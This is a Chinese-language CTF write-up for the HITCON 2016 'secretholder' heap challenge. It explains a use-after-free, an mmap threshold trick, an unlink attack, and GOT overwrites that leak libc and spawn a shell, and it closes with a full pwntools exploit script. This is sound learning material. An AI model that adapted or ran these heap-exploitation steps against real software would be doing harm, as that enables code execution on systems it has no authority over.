题目 : hitconctf2016-secretholder
保护:
add函数:
dele函数:
update函数:
总体下来可以发现程序很简单,漏洞有uaf 和 double free,堆块类型是否可以malloc \ 修改由bss段中的xx_is_use决定,无pie,可通过修改got表或者将one_gadget写入__malloc_hook__free_hook中getshell,那么这里的限制条件就是只能malloc三种类型的chunk,分别是一个fast chunk和2个large chunk且每种类型的chunk只能malloc一次,它由对应类型的xx_is_use控制
- 因为程序没有提供打印函数 所以unsotbin泄漏libc就用不了
- 程序没有限制double free 但是不能同时存在2个fast chunk所以不能进行fast bin攻击到__malloc_hook
- 那么程序就需要修改got表为一个打印函数,打印出got地址从而进行泄露libc再改got表getshell
- 可以发现程序的重要变量都放置在bss段,且有uaf漏洞
- unlink的满足条件是用于存放fake chunk的chunk可堆溢出到next chunk的头部和fd\bk值,
已知位置存在一个指针指向伪造fake chunk的chunk(无pie)
因为每个类型的chunk只能申请此一次,那么不能进行常规的double free进行任意地址写入.
#------------营造堆溢出条件----------------
#利用uaf漏洞以达到往0x28chunk中可写入0xfa0的大小
add(1) #申请一个fast chunk
dele(1) #放入fast bin
add(2) #申请large chunk ,此时会合并fast bin并放入top chunk , 因为uaf的原因large chunk 拿到了fast chunk的指针
dele(1) #此时fast \ large chunk指向同一个指针,但是还有一个xx_is_use可以利用它控制malloc
#这里我将fast chunk的is_use使用状态置为0,以便后面我可以再次malloc一次fast chunk
add(1) #此时fast \large chunk依旧指向同一个指针
#那么就可以通过修改large chunk的内容来修改fast chunk的内容了
通过上面就营造出了堆溢出的条件
因为unlink的两个chunk进行交互,那么就需要把more large chunk给malloc出来,因为申请的内存为0x61a80 topchunk肯定是无法满足的,则会调用sysmalloc()函数移动brk指针扩展topchunk的大小或者是通过mmap()函数进行分配, 很显然调用mmap()函数不是目的
那么sysmalloc()首先会通过申请的size是否大于阈值(mp_.mmap_threshold)大于则使用mmap()反之扩大topchunk
恰好在__libc_free()函数中存在动态改变mp_.mmap_threshold值的定义.如下:
void __libc_free (void *mem){
....
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) //是否该chunk由mmap()分配
{
if (!mp_.no_dyn_threshold
&& p->size > mp_.mmap_threshold
&& p->size <= DEFAULT_MMAP_THRESHOLD_MAX) //查看动态 brk/mmap 阈值是否需要调整
{
mp_.mmap_threshold = chunksize (p); //调整大小为前面mmap()分配的chunk的大小
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
return;
.....
}
#------------营造next chunk----------------
add(3) #通过mmap()分配0x61A80
dele(3) #调整mp_.mmap_threshold大小由 0x20000 -> 0x62000
add(3) #此时即可正常调用brk()扩展top chunk分配
但是不知道为什么chunk已经正常分配出来了0x61a90的空间,但是top chunk并没有显示变大,还是之前的0x20541,并且此时的mp_.mmap_threshold已经发生了大小变化???这个问题记录一下~
然后就是常规的unlink操作和绕过了
#------------fake chunk + 绕过unlink检测----------------
target = 0x6020b0
fake = p64(0) + p64(0x21)
fake += p64(target-0x18) + p64(target-0x10)
fake += p64(0x20) + p64(0x61a90) #常规的unlink操作
update(2,fake) #用large chunk的长度修改fast chunk内容造成堆溢出
dele(3)
然后就是修改got表进行libc泄露
#------------修改got----------------
payload = p64(0) + p64(e.got['free']) + p64(0) + p64(e.got['puts'])
update(1,payload)
update(2,p64(e.plt['puts']))
dele(1)
leak = uu64(ru("\n")[:6])
libc_base = leak - libc.symbols['puts']
success("libc_base",libc_base)
getshell同理,最后完整exp:
# -*-coding:utf-8 -*
from pwn import *
import sys
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./secretHolder"
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def pa(s='暂停!'):
log.success('当前执行步骤 -> '+s)
pause()
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
one = [0x45206,0x4525a,0xcc673,0xcc748,0xef9f4,0xefa00,0xf0897,0xf5e40] #2.23
def add(types):
sla("3. Renew secret\n",'1')
sla("3. Huge secret\n",str(types))
sla("ell me your secret: \n",'/bin/bash')
def dele(types):
sla("3. Renew secret\n",'2')
sla("3. Huge secret\n",str(types))
def update(types,data):
sla("3. Renew secret\n",'3')
sla("3. Huge secret\n",str(types))
sa("ell me your secret: \n",data)
#------------营造堆溢出条件----------------
#利用uaf漏洞以达到往0x28chunk中可写入0xfa0的大小
add(1) #申请一个fast chunk
dele(1) #放入fast bin
add(2) #申请large chunk ,此时会合并fast bin并放入top chunk , 因为uaf的原因large chunk 拿到了fast chunk的指针
dele(1) #此时fast \ large chunk指向同一个指针,但是还有一个xx_is_use可以利用它控制malloc
#这里我将fast chunk的is_use使用状态置为0,以便后面我可以再次malloc一次fast chunk
add(1) #此时fast \large chunk依旧指向同一个指针
#那么就可以通过修改large chunk的内容来修改fast chunk的内容了
#------------营造next chunk----------------
add(3) #通过mmap()分配0x61A80
dele(3) #调整mp_.mmap_threshold大小由 0x20000 -> 0x62000
add(3) #此时即可正常调用brk()扩展top chunk分配
#------------fake chunk + 绕过unlink检测----------------
target = 0x6020b0
fake = p64(0) + p64(0x21)
fake += p64(target-0x18) + p64(target-0x10)
fake += p64(0x20) + p64(0x61a90) #常规的unlink操作
update(2,fake) #用large chunk的长度修改fast chunk内容造成堆溢出
dele(3)
#------------修改got----------------
payload = p64(0) + p64(e.got['free']) + p64(0) + p64(e.got['puts'])
update(1,payload)
update(2,p64(e.plt['puts']))
dele(1)
leak = uu64(ru("\n")[:6])
libc_base = leak - libc.symbols['puts']
success("libc_base",libc_base)
#------------getshell ----------------
update(2,p64(libc_base + libc.symbols['system']))
add(1)
dele(1)
#------------end----------------
it()